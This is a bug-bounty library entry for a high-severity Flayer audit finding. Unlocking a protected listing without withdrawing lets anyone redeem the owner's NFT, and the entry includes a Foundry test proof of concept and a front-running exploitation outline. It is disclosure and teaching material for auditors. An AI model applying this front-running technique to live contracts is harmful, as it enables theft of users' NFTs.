# Owner Can Lose The Token After Being Unlocked but Not Withdrawn

Unlocking a protected listing without withdrawing zeroes the owner field, so Locker::isListing misreads the NFT as unlisted and anyone can redeem it before the owner withdraws.

- Payout: Audit contest
- Severity: high
- Program: Flayer
- Found by: 0x37
- Disclosed: 2024-08-06
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/601
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AH-19
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:race-window technique:source-review vuln:access-control vuln:business-logic

**Target:** ProtectedListings / Locker contracts (Solidity)
**Root cause:** unlockProtectedListing deletes the protected listing (owner=0) and only records canWithdrawAsset, but Locker::isListing checks only listing owner fields, so the NFT appears unlisted and redeemable.
**Steps:**
1. Owner mints NFT and creates a protected listing via protectedListings.createListings with tokenTaken.
2. Owner approves collectionToken and calls `protectedListings.unlockProtectedListing(collection, tokenId, false)` (no withdraw).
3. Listing is deleted; canWithdrawAsset[collection][tokenId]=owner; isListing now returns false.
4. Attacker approves collectionToken to Locker and calls `locker.redeem(collection, [tokenId])`, receiving the NFT.
5. Owner's later `withdrawProtectedListing` fails; NFT lost.
**How found:** Code review of unlockProtectedListing's delete-then-optional-withdraw flow combined with reading Locker::isListing, noticing owner==0 makes the token appear unlisted; confirmed with a Foundry PoC redeeming before owner withdrawal.
**Exploitation:** Attacker monitors for unlockProtectedListing calls with _withdraw=false, then front-runs the owner's withdrawal by calling Locker.redeem (or swap/buy) on the now-unlisted token, paying collection tokens to seize the NFT.
**Insight:** When a state-clearing delete is paired with a deferred-withdrawal flag, check every consumer that gates actions on the deleted owner field; a separate canWithdraw mapping must also be consulted by isListing-style guards.

## Proof of concept (copied exactly from the original report)

**Test redeeming unlocked NFT before owner withdraws**

```
function test_redeemBeforeOner(uint _tokenId, uint96 _tokensTaken) public {

        _assumeValidTokenId(_tokenId);
        vm.assume(_tokensTaken >= 0.1 ether);
        vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());

        // Set the owner to one of our test users (Alice)
        address payable _owner = users[0];

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner, _tokenId);

        // Create our listing
        vm.startPrank(_owner);
        erc721a.approve(address(protectedListings), _tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IProtectedListings.ProtectedListing({
                    owner: _owner,
                    tokenTaken: _tokensTaken,
                    checkpoint: 0
                })
            })
        });

        // Approve the ERC20 token to be used by the listings contract to unlock the listings
        locker.collectionToken(address(erc721a)).approve(
            address(protectedListings),
            _tokensTaken
        );

        protectedListings.unlockProtectedListing(
            address(erc721a),
            _tokenId,
            false
        );

        vm.stopPrank();

        // Approve the ERC20 token to be used by the listings contract to unlock the listings
        locker.collectionToken(address(erc721a)).approve(
            address(locker),
            1000000000000 ether
        );
        //@audit another user can redeem before owner.
        uint[] memory redeemTokenIds = new uint[](1);
        redeemTokenIds[0] = _tokenId;
        locker.redeem(address(erc721a), redeemTokenIds);

        vm.prank(_owner);
        // Owner cant withdraw anymore since they have been redeemed
        protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
    }
```

